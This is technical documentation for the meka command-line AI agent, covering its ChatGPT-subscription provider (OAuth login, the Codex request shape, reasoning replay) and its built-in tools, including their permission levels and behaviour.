For the same protocol with an API key, against OpenAI or any server that serves it, see openai-responses.

Note: This provider replicates the wire shape that OpenAI’s first-party Codex CLI sends. It targets chatgpt.com/backend-api/codex/responses using the OpenAI Responses API, a different protocol than openai-chat-completions, which uses Chat Completions against api.openai.com. The two providers are not interchangeable.

Configuration

SettingValue
Profile typechatgpt-subscription
Default base URLhttps://chatgpt.com (request path /backend-api/codex/responses)
CredentialOAuth bundle stored in the database (acquired via meka provider add / login)
Auth methodOAuth 2.0 Authorization Code with PKCE
OAuth issuerhttps://auth.openai.com
Required tierChatGPT Plus, Pro, Team, Business, Enterprise, or Edu

Initial Setup

meka provider add chatgpt --type chatgpt-subscription --model gpt-5.6-sol
# A browser opens; sign in to ChatGPT and approve.
# Tokens are saved to ~/.local/share/meka/meka.db (chmod 0600).

meka provider add binds a local listener on 127.0.0.1:1455 to receive the OAuth callback, matching the redirect URI registered with OpenAI’s auth server. If port 1455 is already in use (e.g. you’re already running the Codex CLI), free it first.

On a remote or headless machine (SSH, container) the browser runs elsewhere, so the redirect to http://localhost:1455/... can’t reach meka. In that case, after approving in your browser, copy the full callback URL from the address bar (visible even though the page failed to load) and paste it at the prompt; meka picks the code and state out of it. The paste prompt runs alongside the local listener, so on a local machine the callback still completes automatically with nothing to paste.

Config File

meka provider add writes this for you (the token bundle stays in the database):

default_provider = "chatgpt"

[providers.chatgpt]
type = "chatgpt-subscription"
model = "gpt-5.6-sol"
effort = "xhigh"   # optional; unset sends none, so OpenAI's default applies

The effort field maps to the Responses API reasoning.effort knob. When unset the reasoning block is omitted and OpenAI applies its own default; meka picks no tier and consults no catalog. An explicit value is absolute: sent verbatim, never clamped.

Supported Models

Whatever your ChatGPT subscription tier exposes. For the current line-up, see OpenAI’s models overview - meka provider add suggests gpt-5.6-sol for new OpenAI profiles. The model field on the request body is forwarded verbatim; meka doesn’t gate which model strings are valid.

How It Works

Each request:

  1. Auth header set: Authorization: Bearer <access_token>, ChatGPT-Account-ID: <workspace_id> (extracted from the JWT id_token at login), originator: meka_cli, plus a User-Agent identifying meka.
  2. Cookie jar enabled: chatgpt.com is fronted by Cloudflare; bot-clearance cookies (__cf_bm etc.) persist across requests automatically.
  3. Body: standard Responses API JSON: instructions, input (an array of message / reasoning / function_call / function_call_output items), tools, optional reasoning.effort, plus the two reasoning parameters Codex also sends: reasoning.summary: "auto" and include: ["reasoning.encrypted_content"]. Both are sent on every request, whether or not effort is configured.
  4. Stream: SSE events: response.output_text.delta for text, response.output_item.added / …done for tool calls, response.reasoning_summary_text.delta (and response.reasoning_text.delta) for thinking, response.reasoning_summary_part.added for the break between summary sections, response.completed for end-of-turn with token usage.

Reasoning across turns

Requests are stateless (store: false), so the reasoning a model produced is only available to the next request if meka sends it back. It does: each reasoning item is recorded with its rs_… id and its encrypted_content, and replayed verbatim as a reasoning input item immediately before the output it produced. This is what lets a multi-step tool-calling turn keep one chain of thought instead of restarting it at every call, and it mirrors what the first-party Codex client does.

The encrypted content is opaque: meka cannot read it, only replay it. It is stored under a shape that records which provider it came from, so a session recorded here and resumed against Claude does not hand Claude an OpenAI blob (nor the reverse); a block from the wrong provider is simply not replayed. The summary is the readable part, and what the REPL shows as a thinking block (see [thinking] for show_content).

A session recorded by 0.41 holds its thinking blocks under a shape that names no provider, and meka does not reshape them when it opens a session. The one-shot upgrade script does it, in a pass over the database you can watch finish, because it has to guess which provider each block came from and reports what it read before it writes. Until it runs, such a block keeps its readable summary and loses its encrypted half, so that reasoning is not replayed. 5. Token refresh: when the access token is within 5 minutes of expiry, meka transparently refreshes it against auth.openai.com/oauth/token before the next request.

Limitations

  • Streaming-only: the Codex endpoint has no non-streaming shape, so meka always streams here and folds the stream internally to satisfy a non-streaming completion. --no-stream is accepted and behaves normally; it changes what the terminal renders, not what goes on the wire.
  • Subscription required: you need a paid ChatGPT plan with Codex enabled. Free-tier accounts can complete the OAuth flow but most models will reject requests at the API layer.
  • Bot detection: chatgpt.com may serve a Cloudflare challenge if request patterns look automated. meka’s reqwest client handles cookie-clearance automatically; if you hit a hard challenge, complete it once in a regular browser to refresh the cookies.
  • Endpoint stability: this is OpenAI’s subscription-internal API; OpenAI doesn’t guarantee compatibility for third-party clients. Future Codex versions could add request signing or rotate scopes; meka will need updates if that happens.

Subscription vs API Key

If you have both a ChatGPT subscription and an OpenAI API key:

  • Use chatgpt-subscription for interactive work: it’s billed against your subscription’s usage cap rather than per-token, so heavy use is cheaper for most personal patterns.
  • Use openai-responses for scripted / unattended work: it is the same protocol as this backend with a plain API key, so keys are stable, nothing depends on the Cloudflare cookie jar, and it also reaches Ollama, vLLM, LM Studio and OpenRouter. Fall back to openai-chat-completions for a server that does not serve /v1/responses.

Logging Out

meka provider remove <name> deletes the stored credential from the database, and removes the profile from the config file:

meka provider remove chatgpt

To re-authenticate the same profile without removing it (e.g. after a dead refresh token), run meka provider login <name> for a fresh PKCE pair.

Tools Overview

Tools are the actions that the agent can perform on your behalf. The LLM decides which tools to call based on your instructions.

Available Tools

ToolPermissionDescription
read_fileReadRead file contents
edit_fileWorkspaceMake string replacements in a file
write_fileWorkspaceCreate or overwrite a file
find_filesReadFind files by glob pattern
search_contentsReadSearch file contents with regex
fetch_urlReadFetch a web page as markdown
search_webReadSearch the web
execute_commandReadRun a shell command (see the note below)
todoReadManage and read a structured task list
agent_spawnReadDelegate tasks to a sub-agent
agent_listReadList the sub-agents this session spawned
agent_followupReadAsk a sub-agent another question
agent_deleteReadDiscard a sub-agent and its records
scratchpad_writeReadStore content in the scratchpad
scratchpad_readReadRead a scratchpad entry
scratchpad_editReadEdit a scratchpad entry
scratchpad_listReadList scratchpad entries
scratchpad_deleteReadDelete a scratchpad entry
scratchpad_mergeReadCombine several scratchpad entries into one
scratchpad_renameReadRename a scratchpad entry
scratchpad_load_fileReadLoad a file into the scratchpad
scratchpad_save_fileWorkspaceWrite a scratchpad entry out to a path
skill_readReadLoad a named skill’s instructions
skill_searchReadRegex over the full text of every skill
skill_writeReadCreate or update a skill
skill_deleteReadDelete a skill and its directory
memory_writeReadSave a durable note that outlives the session
memory_readReadLoad one saved memory in full
memory_searchReadRanked full-text search over every memory
memory_deleteReadDelete a saved memory
render_imageReadView an image from in-memory base64 or scratchpad
context_checkReadMeasure the context window live: occupancy, headroom, compaction count
context_compactReadAsk for a compaction before the next step of this turn
conversation_searchReadSearch the full conversation history, including compacted turns
conversation_readReadRead conversation turns by index
schedule_createReadSchedule a future turn for this session
schedule_listReadList this session’s scheduled jobs
schedule_cancelReadCancel a scheduled job
task_listReadList this session’s background tasks
task_cancelReadStop a running background task

The schedule_* tools require [schedule] enabled (on by default) and the task_* tools require [background] enabled (off by default). skill_write and skill_delete require [skills] agent_managed (off by default) and are never given to a sub-agent. A disabled subsystem registers no tools at all, rather than shipping schemas that could only fail.

Permission Requirements

Tools are grouped by the minimum permission level required:

Read permission (available at read and above):

  • read_file, find_files, search_contents, fetch_url, search_web
  • execute_command (sandboxed, filesystem write-protected)
  • todo, agent_spawn, agent_list, agent_followup, agent_delete, render_image
  • All skill tools, including skill_write and skill_delete when they are enabled: like memory, the store is meka’s own under its config directory, not your working tree
  • conversation_search, conversation_read, context_check, context_compact
  • Every scratchpad tool except scratchpad_save_file, which writes to a path you name and so sits at workspace with write_file
  • All memory tools. Writing a memory needs only read permission: the store is meka’s own, in meka’s database, not your working tree.

Workspace permission (available at workspace and above; writes are confined to the workspace roots at workspace):

  • edit_file, write_file, scratchpad_save_file

execute_command is not in that list: it asks for read when a sandbox backend is available and unrestricted when none is, so it is reachable at read and confined by the level, not by its own requirement.

In ask mode, all tools are available but each call requires user confirmation. Once approved, nothing is confined: execute_command runs unsandboxed and a write reaches anywhere, the same as an approved write_file. The prompt is the whole gate. Use workspace when you want a boundary instead of a prompt.

In none mode, no tools are available. The agent can only respond with text.

Filtering Built-in Tools

Any built-in can be allow-listed, blocked, or have its required permission overridden via the [tools] table in config.toml. See [tools]: built-in tool filters. Run meka tools list to see every built-in with its effective permission and current status.

MCP Tools

When MCP servers are configured, their tools are registered under a namespaced name of the form mcp__<server>__<tool> (e.g. mcp__notion__notion-search). The mcp__ prefix matches Claude Code’s convention and keeps MCP tools from colliding with built-in names. They appear in the per-turn context catalogue alongside the built-ins, with their resolved permission level annotated inline, and are called the same way.

meka also exposes seven built-in MCP meta-tools for browsing server-side resources and prompts. All are deferred by default; call load_tool with the exact name to make the schema available on the next turn:

ToolPermissionDescription
mcp_resource_listReadList resources a server exposes
mcp_resource_readReadRead a server resource by URI
mcp_prompt_listReadList server-defined prompts
mcp_prompt_getReadRender a server prompt with arguments
mcp_resource_subscribeReadReceive change notifications for a resource
mcp_resource_unsubscribeReadStop receiving change notifications
mcp_resource_updates_listReadInspect pending resource-change notifications

Deferred Tools

Most MCP tools are deferred: they are registered and listed under [Tool discovery] in the per-turn context, but their JSON schemas are withheld from the request until the agent calls load_tool. A large server can advertise fifty tools with multi-kilobyte schemas, and shipping all of them on every turn costs more than it returns.

The trade-off is that until a tool is loaded, the agent sees only its name and a summary clipped to 250 characters. Anything past that clip is invisible, including optional parameters, and a summary that was clipped ends in .

Two behaviours exist so this never turns into a silent wrong answer:

  • Calling a deferred tool without loading it works. The agent may be confident about the required arguments, and forcing a round trip it doesn’t need is worse than allowing it.
  • But when it does that and the tool has documented parameters it didn’t pass, meka appends a note to the tool result naming them, with their types, defaults, and descriptions. A wrong default stops being invisible. The note is emitted once per tool per run.

load_tool takes one name or an array of up to ten, so a task needing several tools off one server costs one round trip:

load_tool({"name": ["mcp__notion__search", "mcp__notion__fetch"]})

Tools listed in a server’s eager_load_tools skip all of this: their schemas ship from turn 1. Use it for tools whose optional parameters matter and that the agent reaches for constantly.

When writing a tool description for a server meka will consume, put whatever a caller must know to use the tool correctly in the first two sentences. That may be all anyone ever sees.

Background Calls

With [background] enabled, every tool gains an optional background parameter, MCP tools included. A call that sets it returns a task id immediately and delivers its result later as its own turn, which is what makes a twenty-minute build affordable. See Background Tasks.

execute_command({"command": "cargo test --all", "background": true})

Like scratchpad, background is meka’s own: it is consumed by the agent loop and removed from the arguments before the tool, or a remote MCP server, ever sees it.

A tool that advertises background itself keeps it. meka does not splice its own parameter over a name a tool already uses, and does not strip or interpret one either, so a server with a background colour or a detach flag of its own receives the argument untouched and the call does not detach.

These two are also the only parameters meka type-checks. A background that is not a boolean, or a scratchpad that is not a string, refuses the call and says what was expected, rather than being read as absent. Both decide what a call does rather than what it is called with, so ignoring a wrong type would silently turn a detached call into a blocking one, or drop output the agent asked to keep. A tool’s own arguments are the tool’s to validate: meka reports a mismatch as an advisory on the result and lets the call through, since a remote server is the authority on what it accepts. null counts as absent for both, which is what models emit for an optional argument they are not using.

Scratchpad Parameter

A scratchpad string parameter saves a tool’s output to the scratchpad under that name instead of returning it inline, so a large result stays out of the conversation.

execute_command({"command": "pdftotext doc.pdf -", "scratchpad": "pdf_text"})

It is honoured on every tool, MCP servers included: the redirect happens where the result is recorded, not inside the tool. Eleven built-ins also advertise it in their schema, which is how the model discovers it: read_file, edit_file, write_file, find_files, search_contents, fetch_url, search_web, execute_command, conversation_read, agent_spawn and agent_followup.

Three of those lift a cap when it is set, producing their full untruncated output: find_files (500 results), search_contents (100 matches) and fetch_url (max_length).

How Tool Calls Work

  1. The agent receives your instruction and decides which tools to call
  2. For each tool call, meka checks the current permission level
  3. In ask mode, you are prompted to approve or deny each tool call
  4. If permitted, the tool executes and its output is fed back to the agent
  5. The agent may make additional tool calls or respond with text
  6. This loop continues until the agent has no more tool calls to make

Tool calls and their results are displayed in the terminal so you can see what the agent is doing.

todo

A built-in tool for managing a structured task list during a session. The agent uses it to track multi-step work and communicate progress; the list is displayed in the terminal (for the main agent) and injected into the conversation context each turn. Every call returns the full current list (with task numbers), so the agent never needs a separate read.

Inputs (all optional):

  • title – a short heading summarizing the overall goal; rendered as the list’s heading (TODO: <title>). Required whenever you pass items, and persists across later set updates.
  • items – replace the whole list. Each entry is a task string (status defaults to pending) or an object {text, status}. Tasks are numbered 1..N in order.
  • set – a sparse status update keyed by task number, e.g. {"1": "completed", "2": "in_progress"}. This is the common path while working.

Task statuses are pending, in_progress, completed, and cancelled. Calling todo with no arguments simply reads the current list.

agent_spawn

Spawns a sub-agent to perform research, analysis, or any other delegated task. The sub-agent gets its own private todo list (todo operates on the sub-agent’s own state), runs silently (its tool calls are not surfaced to the terminal), and returns a single text report. Use this to keep exploratory or speculative work out of the main conversation context.

Multiple agent_spawn calls in one assistant turn run in parallel; useful when independent investigations can proceed concurrently.

Recursion. Sub-agents may themselves spawn further sub-agents, so an agent can orchestrate a team. Nesting is bounded by session.subagent_max_depth (default 3; 1 reproduces the old “sub-agents can’t spawn” behavior, 0 disables agent_spawn entirely). Pass the optional max_depth parameter to tune how deep a given subtree may recurse; a built-in absolute cap always bounds real nesting so recursion can’t run away.

Permission. By default a sub-agent inherits the parent’s permission level. Pass the optional permission parameter (none / read / workspace / ask / unrestricted) to run it at a more restricted level: the value is clamped to the parent’s level as a ceiling, so a sub-agent can never be escalated above its parent. This lets an orchestrator hand untrusted or risky work to a read-only sub-agent. workspace and ask are incomparable, so asking for one under a parent holding the other yields the parent’s own level rather than either.

Tools. Pass deny_servers to withhold whole MCP servers from the sub-agent (its tools, its resources, and its prompts) or deny_tools to withhold individual tools by name. Both union with whatever [subagents] already denies; there is no way to grant something back, so a nested agent_spawn can only ever narrow further. Config is the place to put a restriction you always want, since the failure mode this guards against is an orchestrator forgetting to ask for it.

Context is granted, not inherited. A sub-agent starts with a clean slate and receives only what you ask for:

  • memory: "read" grants read access to your memory store. Default "none", because memories from unrelated work are context the worker pays for and reasons from. Sub-agents can never write to the store – record anything worth keeping yourself, from the worker’s report.
  • instructions: "inherit" hands over your instructions file verbatim. Default "none", because those instructions describe you: your persona, how to address the user, what to volunteer. A worker handed one task by one of your turns is not you. Grant them when the task needs the project’s standing rules and quoting the relevant ones into prompt would be lossy or expensive; pass a skill when the direction is reusable.

Neither can be granted beyond what you hold yourself, so authority only narrows going down a chain of sub-agents. A worker you gave no memory cannot give its own worker any.

Follow-up. agent_spawn returns the sub-agent’s id on the first line of its result, above the report. Keep it if you might have a second question: with it you can call agent_followup instead of re-spawning a worker that would have to rediscover everything.

agent_list / agent_followup / agent_delete

A sub-agent is not a one-shot. Its conversation persists under its own session, so you can go back to it.

  • agent_list – the sub-agents this session spawned, one per line as <id>\t<cwd>\tturns=<n>\tlast_active=<timestamp>. Direct children only: a worker’s own sub-agents belong to it and appear in its list.
  • agent_followup({agent, prompt, scratchpad?}) – asks a sub-agent another question. It still has its own conversation, so it can build on what it already found rather than starting from your summary of it. Returns its new report.
  • agent_delete({agent}) – discards a sub-agent: its conversation, its scratchpad entries, and any sub-agents it spawned in turn. Nothing it wrote to disk is touched. Worth doing once you have what you needed, so a long session isn’t carrying every worker it ever ran.

All three refuse an id that isn’t a child of the current session, so one session can never drive or delete another’s workers.

All four go together. Denying agent_spawn in [tools].disabled_tools, or setting session.subagent_max_depth = 0, removes the three lifecycle tools too: an agent that cannot delegate has no workers for them to act on, and leaving them behind would let it drive the ones a previous run left in the database. meka tools list reports all four as disabled in either case. Denying only agent_list removes just that one.

A follow-up runs under the terms of the spawn, not your current ones. The permission level, the deny lists, the memory level and the inherited scratchpad names are recorded when the sub-agent is created and replayed on every follow-up. If you spawned a worker at read and have since switched to unrestricted, following up on it still runs it at read. That is deliberate: otherwise a second question would be a way to escalate a worker you deliberately restricted.

Two things do not survive a follow-up, because they only ever lived in memory: the sub-agent’s todo list, and which files it had read. It is told as much at the start of the turn.

One follow-up at a time per sub-agent. A second concurrent call on the same worker is refused rather than interleaved, since both would be appending to one conversation from a view of it that the other has already changed.

The skill_* tools

Skills are knowledge packages stored in ~/.config/meka/skills/<name>/SKILL.md. The per-turn context lists the installed ones with their descriptions; these tools open, search, and (when enabled) maintain them.

  • skill_read({"name": "<skill-name>"}) returns the full body, prefixed with the skill’s base directory.
  • skill_search({"pattern": "<regex>"}) matches each line of every skill, bodies included. This is what reaches skills the capped index did not list, and what answers “which of my skills covers this” when the one-line descriptions do not.
  • skill_write({"name": ..., "description": ..., "priority": ..., "body": ...}) creates or updates a skill. Omitting body keeps the existing one.
  • skill_delete({"name": ...}) removes the skill’s whole directory, bundled files included.

The last two are registered only when [skills] agent_managed is on, and never for a sub-agent. See Skills for how to author skills and Letting the Agent Manage Skills for when to hand authoring to the agent.

render_image

Displays an image the agent has in memory, as base64 bytes or in a scratchpad entry, as a multimodal content block. Complements fetch_url (network) and read_file (local file) by covering the third case: image data produced on the fly by a command pipeline.

Typical workflow:

execute_command({"command": "ffmpeg -i input.mp4 -vframes 1 -f image2pipe pipe: | base64 -w0", "scratchpad": "frame"})
render_image({"from_scratchpad": "frame"})

Parameters:

NameTypeRequiredDescription
from_scratchpadstringone of twoName of a scratchpad entry containing base64-encoded image bytes
base64stringone of twoBase64-encoded image bytes, passed inline

Exactly one of from_scratchpad or base64 must be provided. Prefer from_scratchpad for large images; inline base64 inflates tool-call JSON.

The bytes must decode to a supported raster image. PNG, JPEG, GIF, WebP, and BMP pass through unchanged; TIFF, ICO, HDR, EXR, TGA, PNM, QOI, DDS, and Farbfeld are auto-converted to PNG. Size cap is ~3.75 MB on the final payload.

Only call render_image when the current model supports vision input.

conversation_search / conversation_read

Search and re-read this session’s full conversation, including earlier turns that compaction summarized and removed from the model’s context. Compaction never deletes turns (it appends a boundary and hides the older ones); these tools read straight from the on-disk event log, so a detail the compaction summary dropped is still recoverable.

conversation_search searches and returns matching lines, each tagged with a message index (#N) and role:

conversation_search({"query": "auth token", "regex": false, "limit": 20})
  • query (required) – text to search for; a literal substring (case-insensitive) unless regex is set.
  • regex – treat query as a case-sensitive regular expression. Default: false.
  • limit – maximum matches to return (capped at 100). Default: 20.

conversation_read reads turns by the #N index that conversation_search reports:

conversation_read({"start": 47, "count": 3})
  • start (required) – 1-based message index to read from.
  • count – number of consecutive messages to read (max 20). Default: 1.
  • scratchpad – save the output to a scratchpad entry instead of returning it inline.

After a compaction, the summary message reminds the agent that these tools exist. Large tool outputs appear as <large-output> references in both conversation_search and conversation_read results (rather than inlining the full payload); read their full content with scratchpad_read.

context_check / context_compact

Where conversation_* reads the archive (the full log on disk, including turns compaction removed from the window entirely), context_* manages the live window.

context_check takes no arguments and reports the current state:

Using 84000 of 200000 tokens (42%).
Headroom: 76000 tokens before auto-compaction fires at 80%.
Kept verbatim on compaction: about 16000 tokens of the most recent turns; everything
older is replaced by a summary.
Fixed overhead: about 12000 tokens of system prompt and tool schemas (estimated).
Compaction does not reclaim this.
Conversation: about 72000 tokens, which is the part compaction acts on.
Compactions so far: none, so nothing has been summarized away yet.

This exists because the pushed [Context budget] block is rendered once, at the start of a turn, and so does not move while the agent works. During a long tool loop it is stale. See What the Agent Sees.

context_compact requests a compaction before the agent’s next step. It runs once the current batch of tool calls finishes, and the turn then continues against the summary; one request is honoured per turn.

  • instructions – what to preserve or drop. Takes precedence over the default summary sections.
  • keep_recent – whether to keep the most recent turns verbatim. Default true; false starts clean.

There is a third tool, context_replace, that exists only inside a checkpoint turn and is how the agent submits its summary. It is deliberately absent from the ordinary catalogue and from [tools] configuration. See Compacting a Session.

File Operations

read_file

Read the contents of a file at a given path. Supports text files and images.

Permission: Read

Parameters

NameTypeRequiredDescription
pathstringyesThe file path to read
offsetintegernoLine number to start reading from (0-based)
limitintegernoMaximum number of lines to read (default: 2000)
regexstringnoReturn matching lines (capped, exact value advertised in the tool’s parameter schema) instead of a line range. Skipped for image files.
scratchpadstringnoSave output to the scratchpad under this name

Behavior

  • limit defaults to 2000 lines. Whenever the read stops short of the end of the file, whether because of the default or an explicit limit, a notice naming the range shown and the total line count is appended. A definitive answer drawn from a silent truncation is worse than an error.
  • Use offset/limit to page through large files.
  • A single read holds at most 16 MiB in memory. Asking for the whole of a file larger than that is refused, because there is no bounded way to return it; asking for a window of one is not, and streams past everything outside the window. So a command-output capture larger than the ceiling stays readable a page at a time, which is what execute_command promises when it spills one to a file.
  • A read that shows the whole file returns it byte for byte, so a CRLF file stays CRLF and an old_string copied out of it applies as written. A windowed read normalises line endings to \n; if a later edit_file misses for that reason it says so.
  • Under ACP the editor is asked for the whole document and the window is applied here, so both the truncation notice and the freshness fingerprint describe the document rather than the slice.
  • regex runs the pattern against each line and returns line:content rows (like grep -n). It bypasses offset/limit and is meaningless on image content. Under ACP it searches the editor’s copy of the file, like any other text read, so a search and the edit that follows it see the same document.

Image files

Recognized image extensions are returned as base64-encoded multimodal content:

  • Provider-native (pass-through): .png, .jpg/.jpeg, .gif, .webp, .bmp
  • Convertible (decoded and re-encoded as PNG transparently): .tif/.tiff, .ico, .hdr, .exr, .tga, .pbm/.pgm/.ppm/.pnm, .qoi, .dds, .ff/.farbfeld
  • Unsupported (fall through to text read, which will fail on binary): .svg, .jxl, .heic, .avif

Images are rejected if the final payload exceeds 3.75 MB (~5 MB base64). Conversion can enlarge an image, so a small TIFF may produce a too-large PNG.

Every image read_file returns is decoded before it is sent, including the pass-through formats, and one that does not decode is a tool error naming the failure. The same door covers fetch_url, render_image, and an image a client attaches over ACP or the HTTP API. The decode is not about the extension: a truncated or corrupt PNG keeps a valid signature, so nothing short of decoding it tells the two apart. It matters because a broken image is not refused where it is read but inside the provider, by which time it sits in a tool result the session has already saved and every later turn re-sends.

The check is strict, including PNG chunk checksums, so a damaged file that some viewers still render is refused here. That is deliberate: meka cannot know which decoder is on the other end, and being wrong the other way puts an image the provider rejects into the session permanently. The error names what failed, so a file reported as corrupt is worth re-exporting.

JPEG is decoded through a separate strict path rather than the shared one. The library meka uses for every other format hardcodes its JPEG decoder into a permissive mode with no way to switch it off, and that mode returns a picture for a stream truncated to a tenth of its bytes; the file is the one most likely to arrive truncated, so it gets a decoder configured to say so. Truncation at any depth, and a scan corrupted in place, are both refused.

Three cases are not verified, and the last two are gaps rather than decisions:

  • An image too big to decode: one whose pixel count would cost more than 128 MiB, roughly 33 megapixels. The ceiling exists to stop a crafted file exhausting meka’s own memory, and declining to decode achieves that; refusing as well would reject legitimate images, since a 6000x6000 screenshot compresses to a few hundred kilobytes and is inside Anthropic’s 8000 px single-image cap. Such a file is passed through and the provider decides. Note that meka cannot downscale one either, so it also bypasses the 2000 px multi-image cap the Claude provider applies.
  • Frames after the first of an animated GIF or WebP: the decoder reads one frame, so damage confined to later frames is not seen.
  • An image arriving from an MCP server, which sniffs magic bytes only rather than decoding a payload meka did not produce, and a conversation restored by meka session import, whose message content is stored as supplied. A broken image through either door reaches the provider; the degrade-and-retry is what recovers the session when it does.

Only read image files when the current model supports vision input; text-only models will either error or silently drop the image block.

Examples

Read an entire file:

meka [r] > show me the contents of src/main.rs

Read lines 10-20:

meka [r] > show me lines 10 through 20 of src/main.rs

edit_file

Modify a file. Supports two modes: replace (swap old_string for new_string) and insert (place content before or after old_string while preserving the anchor). The file must have been read with read_file first (unless force is set).

Permission: Workspace

Parameters

NameTypeRequiredDescription
pathstringyesThe file path to edit
old_stringstringyesThe exact string to find (acts as anchor in insert modes)
new_stringstringone of threeReplace mode: replacement for old_string (an empty string deletes it)
insert_beforestringone of threeInsert mode: text inserted immediately before old_string (anchor preserved)
insert_afterstringone of threeInsert mode: text inserted immediately after old_string (anchor preserved)
replace_allbooleannoApply to every occurrence (default: false). If false and old_string matches more than once, the edit is rejected as ambiguous
forcebooleannoBypass read-before-edit requirement (default: false)
scratchpadstringnoSave output to the scratchpad under this name

Exactly one of new_string, insert_before, or insert_after must be provided. Mixing modes is rejected.

Behavior

  • If old_string matches more than once and replace_all is not set, the edit is rejected. Add surrounding context to make the anchor unique, or set replace_all to change every occurrence.

  • To delete text, use replace mode with an empty new_string.

  • The file must have been previously read with read_file on the same path. This prevents blind edits. Set force to bypass this requirement.

  • The read must still be valid. meka records the file’s modification time and size when it is read, and rejects an edit if either has changed since:

    Error: file 'src/main.rs' changed on disk after you read it. Something else
    wrote to it (a shell command, another agent, or the user). Read it again
    before editing so you are not overwriting that change, or set force=true.
    

    This is a deliberately different message from the never-read case, because the next move differs: re-read to see what changed, then decide whether the edit still applies. Anything can be the other writer, an execute_command running sed -i, a background task, or you in another window. write_file and a successful edit_file both re-record the file, so consecutive edits never trip it.

    A read served by the editor under ACP is checked against the editor, not the disk. Those are two different documents that share a path: the editor serves its own copy of every file it owns, saved or not, so comparing one to the other would fire every time you save a file nobody edited and stay silent when you rewrite the buffer the agent is about to edit. meka fingerprints what the editor served and compares it against what the editor serves when the edit arrives, which it fetches anyway. Editing the buffer, or the editor reloading a file something else rewrote, is reported:

    Error: file 'src/main.rs' changed in the editor after you read it. Someone edited
    the buffer, or the editor reloaded the file. Read it again before editing so you
    are not overwriting that change, or set force=true to edit anyway.
    

    Saving does not trip it: the document is unchanged, only the bytes on disk moved.

  • If old_string is not found, the tool returns an error (without modifying the file).

  • On success, the response includes a small ±3-line snippet (with line numbers, lines truncated at 200 chars) around the first edited site so you can confirm the change landed without re-reading the file.


write_file

Create or overwrite a file with the given content.

Permission: Workspace

Parameters

NameTypeRequiredDescription
pathstringyesThe file path to write
contentstringyesThe content to write to the file
forcebooleannoOverwrite a file that changed since it was read (default: false)
scratchpadstringnoSave output to the scratchpad under this name

Behavior

  • Creates parent directories if they do not exist.
  • Overwrites the file if it already exists.
  • Overwriting an existing file is subject to the same staleness check as edit_file: if the file was read and has changed since, the write is refused with the message shown above and force is the way past it. A whole-file rewrite is the more destructive of the two, so it is not the more permissive one. Creating a new file needs no prior read.

Search Tools

Both tools default to sweeping every workspace root: the working directory, plus any extra folders an ACP client supplied. Passing path searches exactly that tree instead.

find_files

Find files matching a glob pattern.

Permission: Read

Parameters

NameTypeRequiredDescription
patternstringyesGlob pattern to match files against
pathstringnoDirectory to search in. Omitted, every workspace root is walked
limitintegernoMaximum results to return (defaults to 500 inline)
scratchpadstringnoSave output to the scratchpad under this name

Behavior

  • Results are limited to 500 matches inline; limit raises the cap and scratchpad lifts it.
  • Returns one file path per line.
  • The walk stops after 60 seconds. The result set is still returned, with a note saying it is incomplete, so a search rooted too high in the tree costs a minute rather than hanging the turn.
  • Interrupting the turn (Ctrl+C, or session/cancel from an editor) stops the walk.
  • Paths that cannot be read are skipped and counted; the total is reported once at the end rather than logged per path.

Glob Patterns

PatternMatches
*.rsAll .rs files in the current directory
**/*.rsAll .rs files recursively
src/*.txtAll .txt files in src/
test_*All files starting with test_

search_contents

Search file contents using a regex pattern. Powered by the ripgrep library.

Permission: Read

Parameters

NameTypeRequiredDescription
patternstringyesRegex pattern to search for
pathstringnoFile or directory to search in. Omitted, every workspace root is walked
globstringnoGlob pattern to filter which files are searched (e.g., *.rs)
scratchpadstringnoSave output to the scratchpad under this name

Behavior

  • Searches recursively through directories.
  • Skips hidden files (starting with .) and common non-text directories (target, node_modules).
  • .gitignore is not honoured. Only the matcher comes from ripgrep; the walk is meka’s own, and those three exclusions are all of it. A build directory that is ignored but not named above is searched, so pass glob or path to stay out of one.
  • Results are limited to 100 matches; scratchpad lifts the cap. The search stops once the cap is exceeded instead of reading the rest of the tree to fill a result set it will truncate anyway.
  • The search stops after 60 seconds, returning what it found with a note saying it is incomplete.
  • Interrupting the turn (Ctrl+C, or session/cancel from an editor) stops the search.
  • Each result includes the file path, line number, and matching line.

Web Tools

fetch_url

Fetch a web page and return its content as markdown text.

Permission: Read

Parameters

NameTypeRequiredDescription
urlstringyesThe URL to fetch
max_lengthintegernoMaximum characters to return (default: 30000, 0 for no limit)
headersobjectnoCustom HTTP headers (overrides defaults like User-Agent)
regexstringnoIf provided, return only matching content (matches joined by newlines)
rawbooleannoReturn raw HTML instead of converting to markdown (default: false)
scratchpadstringnoSave output to the scratchpad under this name

Behavior

  • Fetches the page via HTTP GET.
  • Converts HTML to Markdown using fast_html2md (unless raw is true). <nav> and <footer> containers are preserved (rewritten to <div> before conversion) so their links survive; fast_html2md would otherwise drop those subtrees as boilerplate. <script> / <style> / <head> are still stripped.
  • Resolves root-relative links against the page’s final (post-redirect) URL, so a /docs href renders as the absolute https://host/docs the model can follow directly.
  • Truncates the output to max_length characters (default: 30,000). When regex is given, the pattern runs against the whole document before this cap, so max_length never decides which matches exist; the cap then applies to the joined match list.
  • HTTP timeout: 30 seconds.
  • Reads at most 10 MiB of decompressed body, checked while streaming so a small compressed payload cannot expand past it.
  • Returns the HTTP status code as an error if the request fails (e.g., 404, 500).

Image URLs

If the response Content-Type is a supported raster image format, fetch_url returns a multimodal Image content block instead of markdown. No disk is touched; bytes are base64-encoded in memory.

Provider-native formats (passed through unchanged):

  • image/png, image/jpeg (and image/jpg), image/gif, image/webp, image/bmp (and image/x-ms-bmp)

Convertible formats (decoded and re-encoded as PNG transparently):

  • image/tiff, image/vnd.microsoft.icon / image/x-icon, image/vnd.radiance (HDR), image/x-exr, image/x-targa, image/x-portable-* (PNM), image/qoi, image/vnd.ms-dds, image/x-farbfeld

Unsupported formats (fall through to the text branch): image/svg+xml, image/jxl, image/heic, image/avif.

  • The max_length, regex, and raw options do not apply to image responses.
  • Size cap of ~3.75 MB applies to the output bytes (after conversion). Conversion can enlarge an image, so a 1 MB TIFF may produce a larger PNG.
  • Detection uses the response’s actual Content-Type header, so redirect chains and extension-less URLs are handled correctly.

Only fetch image URLs when the current model supports vision input; text-only models will either error or silently drop the image block.


search_web

Search DuckDuckGo and return the top results.

Permission: Read

Parameters

NameTypeRequiredDescription
querystringyesThe search query
headersobjectnoCustom HTTP headers (overrides defaults like User-Agent)
scratchpadstringnoSave output to the scratchpad under this name

Behavior

  • Returns up to 10 results per search.
  • Each result includes the title, source domain, URL, and a snippet with matched terms emphasised in bold.
  • Snippets are capped at 300 characters; use fetch_url on the result URL for the full page.
